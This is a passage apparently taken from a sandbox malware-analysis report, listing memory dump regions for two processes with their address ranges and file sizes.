                                                                                                                                              Filesize

                                                                                                                                              75.3MB

                                                                                                                                            • memory/4600-116-0x0000000002600000-0x0000000002685000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              532KB

                                                                                                                                            • memory/4600-176-0x0000000003090000-0x00000000030F9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              420KB

                                                                                                                                            • memory/4600-522-0x0000000003AC0000-0x0000000003BA2000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              904KB

                                                                                                                                            • memory/5036-26-0x00000000058C0000-0x0000000005926000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              408KB

                                                                                                                                            • memory/5036-24-0x00000000050A0000-0x00000000056CA000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.2MB

                                                                                                                                            • memory/5036-20-0x0000000004A30000-0x0000000004A66000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              216KB

                                                                                                                                            • memory/5036-22-0x00000000049E0000-0x00000000049F0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/5036-23-0x00000000049E0000-0x00000000049F0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/5036-21-0x0000000072D30000-0x00000000734E1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/5036-25-0x0000000005030000-0x0000000005052000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              136KB

                                                                                                                                            • memory/5036-41-0x0000000072D30000-0x00000000734E1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/5036-38-0x0000000005EE0000-0x0000000005F2C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                            • memory/5036-27-0x00000000059A0000-0x0000000005A06000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              408KB

                                                                                                                                            • memory/5036-36-0x0000000005A10000-0x0000000005D67000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              3.3MB

                                                                                                                                            • memory/5036-37-0x0000000005E90000-0x0000000005EAE000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              120KB